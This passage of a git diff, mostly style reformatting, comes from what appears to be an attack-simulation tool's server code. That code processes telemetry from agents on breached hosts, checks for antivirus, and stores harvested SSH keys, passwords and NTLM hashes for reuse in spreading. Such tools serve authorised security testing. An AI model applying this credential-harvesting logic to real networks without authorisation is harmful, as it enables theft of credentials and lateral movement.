TelemCategoryEnum.STATE: process_state_telemetry, + TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, + TelemCategoryEnum.SCAN: process_scan_telemetry, + TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, + TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, + TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, + # `lambda *args, **kwargs: None` is a no-op. + TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, + TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, +} def process_telemetry(telemetry_json): try: - telem_category = telemetry_json.get('telem_category') + telem_category = telemetry_json.get("telem_category") if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC: TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) else: - logger.info('Got unknown type of telemetry: %s' % telem_category) + logger.info("Got unknown type of telemetry: %s" % telem_category) except Exception as ex: - logger.error("Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True) + logger.error( + "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index d0b204d16..764cd3044 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -1,17 +1,23 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry -from monkey_island.cc.services.telemetry.zero_trust_checks.data_endpoints import check_open_data_endpoints -from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import check_segmentation_violation +from monkey_island.cc.services.telemetry.processing.utils import ( + get_edge_by_scan_or_exploit_telemetry, +) +from monkey_island.cc.services.telemetry.zero_trust_checks.data_endpoints import ( + check_open_data_endpoints, +) +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import ( + check_segmentation_violation, +) def process_scan_telemetry(telemetry_json): update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) check_open_data_endpoints(telemetry_json) - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - target_ip = telemetry_json['data']['machine']['ip_addr'] + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) + target_ip = telemetry_json["data"]["machine"]["ip_addr"] check_segmentation_violation(current_monkey, target_ip) @@ -21,14 +27,14 @@ def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): node = mongo.db.node.find_one({"_id": edge.dst_node_id}) if node is not None: - scan_os = telemetry_json['data']['machine']["os"] + scan_os = telemetry_json["data"]["machine"]["os"] if "type" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.type": scan_os["type"]}}, - upsert=False) + mongo.db.node.update( + {"_id": node["_id"]}, {"$set": {"os.type": scan_os["type"]}}, upsert=False + ) if "version" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.version": scan_os["version"]}}, - upsert=False) + mongo.db.node.update( + {"_id": node["_id"]}, {"$set": {"os.version": scan_os["version"]}}, upsert=False + ) label = NodeService.get_label_for_endpoint(node["_id"]) edge.update_label(node["_id"], label) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 9160861ea..5f2677bcb 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -2,18 +2,24 @@ import json from monkey_island.cc.database import mongo from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import ( + SCOUTSUITE_FINDINGS, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( + ScoutSuiteRuleService, +) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( + ScoutSuiteZTFindingService, +) def process_scoutsuite_telemetry(telemetry_json): # Encode data to json, because mongo can't save it as document (invalid document keys) - telemetry_json['data'] = json.dumps(telemetry_json['data']) - ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json['data']) - scoutsuite_data = json.loads(telemetry_json['data'])['data'] + telemetry_json["data"] = json.dumps(telemetry_json["data"]) + ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json["data"]) + scoutsuite_data = json.loads(telemetry_json["data"])["data"] create_scoutsuite_findings(scoutsuite_data[SERVICES]) update_data(telemetry_json) @@ -28,5 +34,5 @@ def create_scoutsuite_findings(cloud_services: dict): def update_data(telemetry_json): mongo.db.scoutsuite.insert_one( - {'guid': telemetry_json['monkey_guid']}, - {'results': telemetry_json['data']}) + {"guid": telemetry_json["monkey_guid"]}, {"results": telemetry_json["data"]} + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index 4f596fb88..87e7797c2 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -2,23 +2,27 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import \ - check_passed_findings_for_unreached_segments +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import ( + check_passed_findings_for_unreached_segments, +) logger = logging.getLogger(__name__) def process_state_telemetry(telemetry_json): - monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - NodeService.add_communication_info(monkey, telemetry_json['command_control_channel']) - if telemetry_json['data']['done']: + monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]) + NodeService.add_communication_info(monkey, telemetry_json["command_control_channel"]) + if telemetry_json["data"]["done"]: NodeService.set_monkey_dead(monkey, True) else: NodeService.set_monkey_dead(monkey, False) - if telemetry_json['data']['done']: - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + if telemetry_json["data"]["done"]: + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) check_passed_findings_for_unreached_segments(current_monkey) - if telemetry_json['data']['version']: - logger.info(f"monkey {telemetry_json['monkey_guid']} has version {telemetry_json['data']['version']}") + if telemetry_json["data"]["version"]: + logger.info( + f"monkey {telemetry_json['monkey_guid']} has version " + f"{telemetry_json['data']['version']}" + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index d3e7cfb54..73a81e332 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,10 +1,11 @@ import logging -from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ - SystemInfoTelemetryDispatcher +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 + SystemInfoTelemetryDispatcher, +) from monkey_island.cc.services.wmi_handler import WMIHandler logger = logging.getLogger(__name__) @@ -16,10 +17,11 @@ def process_system_info_telemetry(telemetry_json): process_ssh_info, process_credential_info, process_wmi_info, - dispatcher.dispatch_collector_results_to_relevant_processors + dispatcher.dispatch_collector_results_to_relevant_processors, ] - # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of failing the rest of + # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of + # failing the rest of # them, as they are independent. for stage in telemetry_processing_stages: safe_process_telemetry(stage, telemetry_json) @@ -31,70 +33,75 @@ def safe_process_telemetry(processing_function, telemetry_json): processing_function(telemetry_json) except Exception as err: logger.error( - "Error {} while in {} stage of processing telemetry.".format(str(err), processing_function.__name__), - exc_info=True) + "Error {} while in {} stage of processing telemetry.".format( + str(err), processing_function.__name__ + ), + exc_info=True, + ) def process_ssh_info(telemetry_json): - if 'ssh_info' in telemetry_json['data']: - ssh_info = telemetry_json['data']['ssh_info'] + if "ssh_info" in telemetry_json["data"]: + ssh_info = telemetry_json["data"]["ssh_info"] encrypt_system_info_ssh_keys(ssh_info) - if telemetry_json['data']['network_info']['networks']: - # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry - add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) + if telemetry_json["data"]["network_info"]["networks"]: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip + # from telemetry + add_ip_to_ssh_keys(telemetry_json["data"]["network_info"]["networks"][0], ssh_info) add_system_info_ssh_keys_to_config(ssh_info) def add_system_info_ssh_keys_to_config(ssh_info): for user in ssh_info: - ConfigService.creds_add_username(user['name']) + ConfigService.creds_add_username(user["name"]) # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) + if user["public_key"] and user["private_key"]: + ConfigService.ssh_add_keys( + user["public_key"], user["private_key"], user["name"], user["ip"] + ) def add_ip_to_ssh_keys(ip, ssh_info): for key in ssh_info: - key['ip'] = ip['addr'] + key["ip"] = ip["addr"] def encrypt_system_info_ssh_keys(ssh_info): for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: + for field in ["public_key", "private_key", "known_hosts"]: if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field]) + ssh_info[idx][field] = get_encryptor().enc(ssh_info[idx][field]) def process_credential_info(telemetry_json): - if 'credentials' in telemetry_json['data']: - creds = telemetry_json['data']['credentials'] + if "credentials" in telemetry_json["data"]: + creds = telemetry_json["data"]["credentials"] add_system_info_creds_to_config(creds) replace_user_dot_with_comma(creds) def replace_user_dot_with_comma(creds): for user in creds: - if -1 != user.find('.'): - new_user = user.replace('.', ',') + if -1 != user.find("."): + new_user = user.replace(".", ",") creds[new_user] = creds.pop(user) def add_system_info_creds_to_config(creds): for user in creds: - ConfigService.creds_add_username(creds[user]['username']) - if 'password' in creds[user] and creds[user]['password']: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user] and creds[user]['lm_hash']: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + ConfigService.creds_add_username(creds[user]["username"]) + if "password" in creds[user] and creds[user]["password"]: + ConfigService.creds_add_password(creds[user]["password"]) + if "lm_hash" in creds[user] and creds[user]["lm_hash"]: + ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) + if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: + ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) def process_wmi_info(telemetry_json): users_secrets = {} - if 'wmi' in telemetry_json['data']: - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') - wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + if "wmi" in telemetry_json["data"]: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]).get("_id") + wmi_handler = WMIHandler(monkey_id, telemetry_json["data"]["wmi"], users_secrets) wmi_handler.process_and_handle_wmi_info() diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py index 2b4d8085e..0fae438d4 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py @@ -12,4 +12,6 @@ def process_aws_telemetry(collector_results, monkey_guid): instance_id = collector_results["instance_id"] relevant_monkey.aws_instance_id = instance_id relevant_monkey.save() - logger.debug("Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id)) + logger.debug( + "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id) + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 6d9ec8492..7ce4b6fcf 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -1,13 +1,24 @@ import logging import typing -from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, - PROCESS_LIST_COLLECTOR) -from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry -from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \ - process_environment_telemetry -from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry -from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence +from common.common_consts.system_info_collectors_names import ( + AWS_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + PROCESS_LIST_COLLECTOR, +) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import ( + process_aws_telemetry, +) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import ( + process_environment_telemetry, +) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import ( + process_hostname_telemetry, +) +from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import ( + check_antivirus_existence, +) logger = logging.getLogger(__name__) @@ -15,12 +26,15 @@ SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { AWS_COLLECTOR: [process_aws_telemetry], ENVIRONMENT_COLLECTOR: [process_environment_telemetry], HOSTNAME_COLLECTOR: [process_hostname_telemetry], - PROCESS_LIST_COLLECTOR: [check_antivirus_existence] + PROCESS_LIST_COLLECTOR: [check_antivirus_existence], } class SystemInfoTelemetryDispatcher(object): - def __init__(self, collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None): + def __init__( + self, + collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None, + ): """ :param collector_to_parsing_functions: Map between collector names and a list of functions that process the output of that collector. @@ -33,26 +47,24 @@ class SystemInfoTelemetryDispatcher(object): def dispatch_collector_results_to_relevant_processors(self, telemetry_json): """ - If the telemetry has collectors' results, dispatches the results to the relevant processing functions. + If the telemetry has collectors' results, dispatches the results to the relevant + processing functions. :param telemetry_json: Telemetry sent from the Monkey """ if "collectors" in telemetry_json["data"]: self.dispatch_single_result_to_relevant_processor(telemetry_json) def dispatch_single_result_to_relevant_processor(self, telemetry_json): - relevant_monkey_guid = telemetry_json['monkey_guid'] + relevant_monkey_guid = telemetry_json["monkey_guid"] for collector_name, collector_results in telemetry_json["data"]["collectors"].items(): self.dispatch_result_of_single_collector_to_processing_functions( - collector_name, - collector_results, - relevant_monkey_guid) + collector_name, collector_results, relevant_monkey_guid + ) def dispatch_result_of_single_collector_to_processing_functions( - self, - collector_name, - collector_results, - relevant_monkey_guid): + self, collector_name, collector_results, relevant_monkey_guid + ): if collector_name in self.collector_to_processing_functions: for processing_function in self.collector_to_processing_functions[collector_name]: # noinspection PyBroadException @@ -60,7 +72,10 @@ class SystemInfoTelemetryDispatcher(object): processing_function(collector_results, relevant_monkey_guid) except Exception as e: logger.error( - "Error {} while processing {} system info telemetry".format(str(e), collector_name), - exc_info=True) + "Error {} while processing {} system info telemetry".format( + str(e), collector_name + ), + exc_info=True, + ) else: logger.warning("Unknown system info collector name: {}".format(collector_name)) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py deleted file mode 100644 index 0999e285e..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py +++ /dev/null @@ -1,85 +0,0 @@ -from unittest.mock import Mock - -import monkey_island.cc.services.telemetry.processing.post_breach as post_breach - -from .post_breach import EXECUTION_WITHOUT_OUTPUT - -original_telem_multiple_results =\ - { - 'data': { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': [ - ['SUCCESSFUL', True], - ['UNSUCCESFUL', False], - ['', True] - ] - }, - 'telem_category': 'post_breach' - } - -expected_telem_multiple_results =\ - { - 'data': [ - { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': ['SUCCESSFUL', True] - }, - { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': ['UNSUCCESFUL', False] - }, - { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': [EXECUTION_WITHOUT_OUTPUT, True] - } - ], - 'telem_category': 'post_breach' - } - -original_telem_single_result =\ - { - 'data': { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': ['', True] - }, - 'telem_category': 'post_breach' - } - -expected_telem_single_result =\ - { - 'data': [ - { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': [EXECUTION_WITHOUT_OUTPUT, True] - }, - ], - 'telem_category': 'post_breach' - } - - -def test_process_post_breach_telemetry(): - post_breach.update_data = Mock() # actual behavior of update_data() is to access mongodb - # multiple results in PBA - post_breach.process_post_breach_telemetry(original_telem_multiple_results) - assert original_telem_multiple_results == expected_telem_multiple_results - # single result in PBA - post_breach.process_post_breach_telemetry(original_telem_single_result) - assert original_telem_single_result == expected_telem_single_result diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py index 1e20e5443..4464eb82a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -1,12 +1,14 @@ from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field -from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import check_tunneling_violation +from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import ( + check_tunneling_violation, +) def process_tunnel_telemetry(telemetry_json): check_tunneling_violation(telemetry_json) - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] - if telemetry_json['data']['proxy'] is not None: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])["_id"] + if telemetry_json["data"]["proxy"] is not None: tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json) NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) else: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py index df898945e..ffa6960f6 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/utils.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py @@ -3,9 +3,9 @@ from monkey_island.cc.services.node import NodeService def get_edge_by_scan_or_exploit_telemetry(telemetry_json): - dst_ip = telemetry_json['data']['machine']['ip_addr'] - dst_domain_name = telemetry_json['data']['machine']['domain_name'] - src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + dst_ip = telemetry_json["data"]["machine"]["ip_addr"] + dst_domain_name = telemetry_json["data"]["machine"]["domain_name"] + src_monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]) dst_node = NodeService.get_monkey_by_ip(dst_ip) if dst_node is None: dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) @@ -17,5 +17,5 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json): def get_tunnel_host_ip_from_proxy_field(telemetry_json): - tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + tunnel_host_ip = telemetry_json["data"]["proxy"].split(":")[-2].replace("//", "") return tunnel_host_ip diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index a6b90cc45..d2f154a9e 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -3,8 +3,12 @@ import json import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ( + ANTI_VIRUS_KNOWN_PROCESS_NAMES, +) +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) def check_antivirus_existence(process_list_json, monkey_guid): @@ -13,33 +17,39 @@ def check_antivirus_existence(process_list_json, monkey_guid): process_list_event = Event.create_event( title="Process list", message="Monkey on {} scanned the process list".format(current_monkey.hostname), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, + ) events = [process_list_event] av_processes = filter_av_processes(process_list_json["process_list"]) for process in av_processes: - events.append(Event.create_event( - title="Found AV process", - message="The process '{}' was recognized as an Anti Virus process. Process " - "details: {}".format(process[1]['name'], json.dumps(process[1])), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL - )) + events.append( + Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process[1]["name"], json.dumps(process[1])), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, + ) + ) if len(av_processes) > 0: test_status = zero_trust_consts.STATUS_PASSED else: test_status = zero_trust_consts.STATUS_FAILED - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - status=test_status, events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + ) def filter_av_processes(process_list): all_processes = list(process_list.items()) av_processes = [] for process in all_processes: - process_name = process[1]['name'] + process_name = process[1]["name"] # This is for case-insensitive `in`. Generator expression is to save memory. - if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES): + if process_name.upper() in ( + known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES + ): av_processes.append(process) return av_processes diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index 2ef914786..6a3ec30aa 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -1,34 +1,46 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" -COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ - "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" +COMM_AS_NEW_USER_SUCCEEDED_FORMAT = ( + "New user created by Monkey on {} successfully tried to " + "communicate with the internet. Details: {}" +) def check_new_user_communication(current_monkey, success, message): status = zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, - status=status, - events=[ - get_attempt_event(current_monkey), - get_result_event(current_monkey, message, success) - ]) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + status=status, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success), + ], + ) def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( title="Communicate as new user", - message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + message="Monkey on {} tried to create a new user and communicate from it.".format( + current_monkey.hostname + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) return tried_to_communicate_event def get_result_event(current_monkey, message, success): - message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT + message_format = ( + COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT + ) return Event.create_event( title="Communicate as new user", message=message_format.format(current_monkey.hostname, message), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index a5d42ef2c..9d790224a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -4,14 +4,16 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from common.common_consts.network_consts import ES_SERVICE from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) -HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] +HTTP_SERVERS_SERVICES_NAMES = ["tcp-80"] def check_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) found_http_server_status = zero_trust_consts.STATUS_PASSED found_elastic_search_server = zero_trust_consts.STATUS_PASSED @@ -19,46 +21,60 @@ def check_open_data_endpoints(telemetry_json): Event.create_event( title="Scan Telemetry", message="Monkey on {} tried to perform a network scan, the target was {}.".format( - current_monkey.hostname, - telemetry_json["data"]["machine"]["ip_addr"]), + current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"] + ), event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=telemetry_json["timestamp"] + timestamp=telemetry_json["timestamp"], ) ] for service_name, service_data in list(services.items()): - events.append(Event.create_event( - title="Scan telemetry analysis", - message="Scanned service: {}.".format(service_name), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK - )) + events.append( + Event.create_event( + title="Scan telemetry analysis", + message="Scanned service: {}.".format(service_name), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ) if service_name in HTTP_SERVERS_SERVICES_NAMES: found_http_server_status = zero_trust_consts.STATUS_FAILED - events.append(Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data) - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK - )) + events.append( + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! " + "Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ) if service_name == ES_SERVICE: found_elastic_search_server = zero_trust_consts.STATUS_FAILED - events.append(Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data) - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK - )) + events.append( + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! " + "Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ) - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - status=found_http_server_status, events=events) + 